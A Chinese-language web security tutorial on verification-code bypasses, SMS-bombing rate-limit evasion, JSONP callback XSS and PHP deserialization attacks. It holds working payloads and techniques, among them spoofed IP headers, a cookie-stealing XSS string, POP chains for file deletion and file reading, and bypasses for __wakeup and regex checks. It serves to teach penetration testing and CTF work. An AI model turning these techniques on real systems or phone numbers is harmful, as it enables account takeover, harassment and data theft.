WEB常见安全漏洞(二)

验证安全

思维导图

验证码

网站进行身份验证的时候,玩玩会设置验证码机制进行防爆破。验证码又包括各个种类
图片类、手机或者邮箱、语音视频类、或者操作类(例如滑动滑块等)
而关于验证码的漏洞成因往往都出现在验证码的生成过程或者验证过程中

危害:账户权限泄露,短信轰炸,遍历,任意用户操作等

常见的漏洞包括:客户端回显,验证码复用,验证码爆破,绕过等

漏洞示例:web攻防-通用漏洞&验证码识别&复用&调用&找回密码重定向&状态值_验证码复用

验证码识别

工具推荐:burpsuite安装插件captcha-killer识别验证码_burpuite 识别验证码插件

验证码爆破

对于网站验证码存在一定有效时长的类型,可以采用短时间内进行爆破的方式,

验证码回显

所谓验证码在客户端生成而非服务端生成时造成这类问题,当客户端需要和服务器交互发送验证码时,可借助浏览器工具查看客户端与服务器进行交互的详细信息。也可以通过BP抓包看看验证码。

验证码复用

验证码复用,即登陆成功后验证码不刷新,仍然可以使用上一次登陆时的验证码且有效,存在爆破风险漏洞,测试:重放登陆成功的数据包,如果仍然能登陆成功说明存在验证码复用。
只要输入账号错误和密码错误回显不一样,就可以算成用户名可爆破漏洞
例如 : 用户名不存在 , 你的密码错误,这两种回显,说明用户名可爆破

验证码绕过

验证码绕过,即验证码可以通过逻辑漏洞被绕过通常分为以下情况

案例1:验证码验证返回状态值

可以通过BP修改状态值来绕过前端的验证,修改密码页面中存在验证码绕过漏洞
用户输入的验证码交给后端进行验证,验证后返回给前端 “n”/”y”,前端只是单纯的根据 ’y/n’来对验证码进行判断,这时候,我们就可以通过bp将返回包从 n改为y
先抓一个正确的包,然后通过bp拦截响应包
然后根据正确的包的响应包的状态值来修改

案例2:点击获取验证码时,直接在返回包中返回验证码,通过抓包的来观察response包

验证码与手机未绑定认证关系

后端只验证了验证码,并没有将手机号与验证码进行绑定;只需要准备两个或者以上的手机号,找到找回密码的地方或者登录的地方,填一个自己的手机号,获取验证码之后,使用其他手机号进行登录

验证码转发

有的开发人员会使用数组接收手机号,然后一起对手机号进行发送验证码,这个时候两个手机号对应的验证码都是一样的,所以我们可以输入两个手机号,其中有一个自己的,一个是别人的,自己收到的验证码和别人的验证码是一样的,达到窃取验证码的目的。

可以发现两个手机收到的验证码都是一样的,所以如果我们输入一个自己的手机号,一个管理员的手机号,收到验证码之后相当于收到了管理员的验证码

任意验证码登陆

有些网站或者app,小程序有验证码功能,但是如同虚设,只是为了发送验证码,并没有写业务逻辑进行校验,一般在新上线的系统比较常见,因为有些开发就为了方便测试,把验证码校验注释了,从而导致任意验证码登录。进入网站,填写手机号发送验证码,随意输入一个验证码进行登录。

验证码为空登录也是同样道理,验证码为空登录是在后台接收验证码的时候没有对验证码进行过滤,可以进行空值绕过。正常点击发送验证码,然后点击登录或者其他功能之后进行抓包拦截请求,然后尝试修改验证码对应值,可以改成null,-1,true,

空数组等,或者如果携带了cookie,把cookie字段删除了试试

可以进行如下示例修改验证码的值:

null  -1   -999999  1.1
[]   true    success
空    或者删除cookie字段
多多尝试即可。

客户端验证验证码

通过查看源代码发现验证码是前端验证码,可以直接抓包的方式在bp里爆破
怎么判断是前端验证? 开启bp,点击获取验证码,查看bp中的 HTTP history,看有没有新的包被获取到
思路:输入一个正确的验证码,抓包,然后判断后端有没有对这个验证码进行验证

怎么判断后端有没有验证: 修改验证码,查看返回包的结果

当验证码被我们修改后,后端返回的数据包不变,说明后端没有对验证码进行校验。实现了验证码绕过。 

总结:判断验证码的方式(是否为前端),输入一个正确的,抓包,判断后端是否对验证码进行校验,若没有的话就可以实现验证码绕过,进入暴力破解流程

验证码前端生成和验证

验证码的生成和验证都是在前端进行,绕过方法是直接屏蔽掉前端相关的JS代码即可。

Token客户端回显

1、Token的引入:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。

2、Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

3、使用Token的目的:Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。

token客户端回显就是指某的开发为了简便,直接在用户成功的登陆之后或者进行正确操作之后,将下一次需要用的token放到响应包中,由响应包进行提供下一次的token,这种情况我们能在响应包中搜索到相关的值;那么我就可以利用BP的爆破机制来从响应包中提取token值,进行爆破

参考:用BP爆破有token值的密码_bp抓包工具中追踪token值的工具使用-CSDN博客

Callback自定义返回调用安全

  • 1.由于浏览器的同源策略(域名,协议,ip端口相同),非同源域名之间传递会存在限制。
  • 2.JSONP(用于解决跨域数据传输的问题,利用了HTML里元素标签的开放策略src引入Js文件,远程调用动态生成JSON文件来实现数据传递,并以任意javascript的形式传递,一般使用 Callback(回调函数返回,由于没有使用白名单的方法进行限制Callback的函数名,导致攻击者可以自定义Callback内容,从而触发XSS等漏洞)由浏览器的javascript引擎负责解释运行。

原理分析:

  • 1.接口开发时,接收回调函数的参数值在进行拼接前未对恶意数据进行合理化处理,导致攻击者插入恶意的HTML标签并在返回的JSON数据格式原样输出;
  • 2.同时服务端未**正确设置响应头content-type,**导致返回的json数据被浏览器当做Html内容进行解析,就可能造成xss等漏洞。

测试切入点:

  • 1.一个使用jsonp技术的接口,参数中包含回调函数的名称(jasonp,callback,);
  • 2.服务端返回的json数据时,响应头为 content-type: text/html;
  • 3.服务端未对回调函数参数进行过滤净化。

测试步骤:

  • 1.设置代理到burpsuite;
  • 2.网站根目录开始爬取,重点关注Ajax异步(一般页面只会局部刷新)处理的网页,关注重点业务;
  • 3.在HTTP history 标签页过滤功能过滤关键词 Callback,jasonp,等请求,找到URL带有Callback参数的链接。勾选Filder by file extension中的Hider,隐藏js、gif等后缀的URL);
  • 4.查看URL对应得HTTP Response的Content-Type类型是否为text/html且内容是否为json形式(带有json数据的函数调用),如果是我们输入的HTML标签才会被浏览器解析;
  • 5.将对应的请求发送到Repeater。在callback参数值的前面加一些类似HTML的标签,如,如callback=Testjsonp1,Go之后发现Response的内容有无影响(HTML有无被转义,没有转义则存在漏洞)。也可将callback参数换为有恶意行为的HTML标签,如callback=<img οnerrοr=alert(document.cookie) src=x />jsonp1

防御修复方案:

  • 1.定义HTTP响应中content-type为json数据格式,即Content-type:application/json;
  • 2.建立callback白名单,如果传入的callback参数值不在名单内就阻止继续输出,跳转到异常页面;
  • 3.对callback参数进行净化,包括不限于html实体编码,过滤特殊字符< > 等。

手机短信轰炸

在一些身份校验处,有的时候需要输入手机号,接受验证码,比如登录、忘记密码、注册、绑定、活动领取、反
馈处等,如果没有对发送短信进行约束,可以达到5秒发送10条短信,甚至更多的短信,对业务造成影响,这个就
是短信轰炸漏洞,短信轰炸漏洞分为两种:
1、横向轰炸:对单个手机号码做了接收验证次数,但是可以对不同手机号发送短信无次数限制
2、纵向轰炸:对一个手机号码轰炸多次

打开需要验证码的地方,输入手机号,然后打开BP进行拦截,点击发送验证码,将拦截的请求包发送到重发器,然后根据下面的技巧进行绕过

1.利用空格绕过短信条数限制

通过在参数值的前面加上空格,或者后面加上,或者多个空格,进行绕过一天内发送次数的限制,mobile=
1222335,前面加个空格,就可以再次发送成功。

2.修改cookie值绕过短信次数

有些发送短信的次数是根据cookie值进行判断,利用当前cookie值来验证发送次数的话,很容易被绕过

所以可以尝试多次修改cookie的值,甚至删除cookie绕过。

3.利用接口标记绕过短信限制
发送短信验证,可能会设置参数值的不同,来判断是执行api什么样的功能。比如type=1是注册,type=2是忘记密
码,type=3是修改密码等。我们可以通过修收参数值,来绕过一分钟内只发送一次限制,达到短信轰炸的目的

如下图,可以修改参数值,当然有的参数名称不一样,比如是smsType,apiType等,后端程序猿会根据传的参数名称的不同来实现不同的业务。

4.修改IP绕过短信

有的验证码是通过访问数据包的IP来做限制,比如X-Forwarded-For这个包参数,因此可以修改X-Forwarded-
For后面的IP地址(可以修改为0等其他数值尝试)来进行绕过。

当然在请求头中,看到其他有关IP的参数,也可以修改,比如:

X-Remote-IP:localhost:443
X-Remote-IP:127.0.0.1
X-Remote-IP:127.0.0.1:80
X-Remote-IP:127.0.0.1:443
X-Remote-IP:127.0.0.1
X-Custom-IP-Authorization:localhost
X-Custom-IP-Authorization:localhost:80
X-Custom-IP-Authorization:localhost:443
X-Custom-IP-Authorization:127.0.0.1
X-Custom-IP-Authorization:127.0.0.1:80
X-Custom-IP-Authorization:127.0.0.1:443
X-Custom-IP-Authorization:2130706433

5.特殊字符绕过

加入一些特殊字符之后可以达到一个绕过的目的,比如

%%% ### @@@ !! \r \n tab键 -- ***  () 等等

6.+86或者086绕过(区号绕过)

我们给数据包里面的手机号加上+86或者086绕过

7.改地区代码绕过

当我们注册一些网站的时候,有时候会显示该地区,我们可以通过修改地区进行绕过

8.双写手机号

网站后端只对手机号做了一次参数限制,那么双写一个手机号参数,另一个手机号参数绕过限制,进入到后端,
被识别之后就会发送短信

可以通过双写多个参数名

也可以在一个参数名中通过空格或者逗号双写手 机号

在post请求中,请求体也可以写两行带有手机号的尝试绕过:

PHP反序列化

思维导图

PHP面向对象编程

对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。
是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。

创建一个PHP类
<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问
private(私有):私有的类成员则只能被其定义所在的类访问

public:属性被序列化的时属性值变成 属性名
protected:属性被序列化的时属性值变成 \x00*\x00属性名
private:属性被序列化的时属性值变成 \x00类名\x00属性名 (\x00表示空字符,但还是占用一个字符位置)

魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法

类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用

__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //PHP5.3起,当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法;__sleep。返回一个包含对象中所有应被序列化的变量名称的数组。serialize函数在序列化类时首先会检查类中是否存在__sleep方法。如果存在,会先调用此方法然后再执行序列化操作。并且只对__sleep返回的数组中的属性进行序列化。如果
__sleep不返回任何内容,则null会被序列化,并产生E_NOTICE级别的错误。__sleep不能返回父类的私有成员,否则会产生E_NOTICE级别的错误。对于一些很大但不需要保存全部数据的对象此方法很有用。
即序列化serialize时会调用__sleep.

__wakeup()               //执行unserialize()时,先会调用这个方法。与__sleep相反,是在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作。用于在反序列化之前准备一些对象需要的资源,或其他初始化操作。
即反序列化unserialize时会自动调用__wakeup

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用,此方法必须返回字符串并且不能在此方法中抛出异常,否则会产生致命错误。

serialize() 函数会检查类中是否存在一个魔术方法。若存在,该方法会先被调用,然后才执行序列化操作。而执行顺序就与不同函数类型相关,比如若存在__construct() 那么就会创建对象时立马执行,而__destruct()则会在对象销毁时触发

__construct

__destruct

__toString

__invoke

__call

__sleep

__wakeup

需要重点关注一下5个魔术方法,所以再强调一下:
__construct:构造函数,当一个对象创建时调用
__destruct:析构函数,当一个对象被销毁时调用
__toString:当一个对象被当作一个字符串时使用
__sleep:在对象序列化的时候调用
__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)
从序列化到反序列化这几个函数的执行过程是:
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

示例:

<?php
class test
{
    public $variable = '变量反序列化后都要销毁'; //公共变量
    public $variable2 = 'OTHER';
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }
}

//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束,会调用__destruct
?>

输出结果:

__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct
__destruct

__toString()这个魔术方法能触发的因素太多,所以有必要列一下:

1.  echo($obj)/print($obj)打印时会触发 
2.  反序列化对象与字符串连接时 
3.  反序列化对象参与格式化字符串时 
4.  反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型) 
5.  反序列化对象参与格式化SQL语句,绑定参数时 
6.  反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等 
7.  在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用 
8.  反序列化的对象作为class_exists()的参数的时候 

魔术方法在反序列化攻击中的作用

反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。

如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。

但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。

序列化和反序列化

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

常见的序列化格式:二进制格式、字符数组、json字符串、xml字符串
json数据使用 , 分隔开,数据内使用 : 分隔

示例:

<?php
class User
{
    public $age = 0;
    public $name = '';
    public function printdata()      
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // php中“.”表示字符串连接
}
$usr = new User();  //创建一个对象
$usr->age = 18;    //设置数据
$usr->name = 'Hardworking666';
$usr->printdata();      //输出数据
echo serialize($usr);    //输出序列化后的数据
?>

输出结果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个属性(这里是name和age)。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。

序列化格式:

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

漏洞原因

序列化和反序列化本身没有问题,但是反序列化内容用户可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

当传给unserialize()参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。

理解:这里需要明确反序列化的可修改的范围是不包括源代码的,反序列的利用点在于用户生成自定义数据,通过发送特制的序列化数据来控制反序列化后对象的状态代码的执行流程。可修改部分包括:对象的属性值(包括私有、受保护属性)操作对象的类型和类名;不可修改目标类的方法逻辑(无法修改 __destruct()__wakeup() 等魔术方法中的代码逻辑)、不可修改类的定义(若目标系统某类中存在危险方法(如 exec()),才可能被用来执行代码)

反序列化攻击的核心:利用目标系统已有的代码逻辑,通过操控属性的值或触发的方法,使其走向你预期的路径。

举两个PHP后台不正当的使用了PHP中的魔法函数的示例:

调用__destruct删除:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将被删除

//logdata.php
<?php
class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>

调用这个类:

<?php
include 'logdata.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以构造输入,删除任意文件。如构造输入删除目录下的index.php文件:构造POP链的小tips:删除不需要修改的,只保留需要修改的代码,然后将其数据给序列化出来

<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

上面展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数。

比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

同理反序列化漏洞还能构造XSS攻击:

例如,皮卡丘靶场PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>错误输出</p>";
    }else{
        $html.="<p>{$unser->test)</p>";
    }

为了执行<script>alert('xss')</script>,构造payload:O:1:”S”:1:{s:4:”test”;s:29:”<script>alert(‘xss’)</script>”;}

反序列化漏洞依赖条件

1、unserialize函数的参数可控
2、脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

POP链的构造利用

POP链简单介绍

ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

(1)寻找 unserialize() 函数的参数是否有我们的可控点
(2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

除了魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,还有一种就是:如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

简单案例讲解:代码如下

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

首先逆向分析,我们最终是希望通过Modifier当中的append方法实现本地文件包含读取文件,回溯到调用它的__invoke,当我们将对象调用为函数时触发,发现在Test类当中的__get方法,再回溯到Show当中的__toString,再回溯到Show当中的__wakeup当中有preg_match可以触发__toString,因此不难构造pop链

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

然后根据生成的序列化数据放入参数中即可。

反序列化绕过小技巧

1、php7.1+反序列化对类属性不敏感

如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

2、绕过__wakeup(CVE-2016-7124)

版本:​ PHP5 < 5.6.25 PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
对于下面这样一个自定义类

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='666';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc

3、绕过部分正则

preg_match('/^O:\d+/')匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点

  • 利用加号绕过(注意在url里传参时+要编码为%2B)
  • serialize(array(a ) ) ; / / a));//a));//a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}

function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('you lose!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

4、利用引用

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

5、16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

例如:

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 666;
    }
}
function check($data){
    if(stristr($data, 'username')!==False){
        echo("你绕不过!!".PHP_EOL);
    }
    else{
        return $data;
    }
}
// 未作处理前
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 做处理后 \75是u的16进制
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

6、PHP反序列化字符逃逸

参考:PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客

情况1:过滤后字符变多

首先给出本地的php代码,很简单不做过多的解释,就是把反序列化后的一个x替换成为两个

<?php
function change($str){
    return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=$new[1]";

正常情况,传入name=mao

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

首先来看看结果,再来讲解

我们传入name=maoxxxxxxxxxxxxxxxxxxxx”;i:1;s:6:”woaini”;}
“;i:1;s:6:”woaini”;}这一部分一共二十个字符
由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符”;i:1;s:6:”woaini”;},从而造成”;i:1;s:6:”woaini”;}的溢出,而”闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini
最后的;}闭合反序列化全过程导致原来的”;i:1;s:7:”I am 11″;}”被舍弃,不影响反序列化过程`

情况2:过滤后字符变少

老规矩先上代码,很简单不做过多的解释,就是把反序列化后的两个x替换成为一个

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况传入name=mao&age=11的结果

老规矩看看最后构造的结果,再继续讲解

简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码;
我们来看,这部分是age序列化后的结果

s:3:”age”;s:28:”11″;s:3:”age”;s:6:”woaini”;}”

由于前面是40个x所以导致少了20个字符,所以需要后面来补上,”;s:3:”age”;s:28:”11这一部分刚好20个,后面由于有”闭合了前面因此后面的参数就可以由我们自定义执行了

对象注入

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

对象漏洞出现得满足两个前提

1、unserialize的参数可控。
2、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。

<?php
class A{
    var $test = "y4mao";
    function __destruct(){
        echo $this->test;
    }
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);
在脚本运行结束后便会调用_destruct函数,同时会覆盖test变量输出maomi

PHP原生类反序列化

如果在代码审计或者ctf中,有反序列化的功能点,但是却不能构造出完整的pop链,那这时我们应该如何破局呢?我们可以尝试一下从php原生类下手,php有些原生类中内置一些魔术方法,如果我们巧妙构造可控参数,触发并利用其内置魔术方法,就有可能达到一些我们想要的目的。

原生类中的魔术方法:

我们采用下面脚本遍历一下所有原生类中的魔术方法,运行代码前可以调整PHP中的某些变量,某些变量开关会影响原生类函数是否开启,然后运行下面代码,看看哪些原生类函数是能够调用下面对应的魔术方法的。

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

一些常见原生类的利用:

1、Error/Exception 类

Error 是所有PHP内部错误类的基类。使用条件:适用于php7版本、在开启报错的情况下
Exception是所有用户级异常的基类。使用条件:适用于php5和php7版本、开启报错的情况下
Error和Exception能够在报错情况下调用__toString魔术方法,其中

**Error::__toString ** error 的字符串表达
返回 Error 的 string表达形式。
**Exception::__toString ** 将异常对象转换为字符串
返回转换为字符串(string)类型的异常。

类属性:

message 错误消息内容
code 错误代码
file 抛出错误的文件名
line 抛出错误的行数

利用:

1、XSS攻击
Error类用于自动自定义一个Error,在php7的环境下可能造成xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,因为许多CMS会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法,这是一种挖洞的新思路。

例如我们构造测试代码:
<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>
这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化

POC:
<?php
$a = new Error("<script>alert('xss')</script>");   //这里的Error换成Exception也是同样道理
//$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

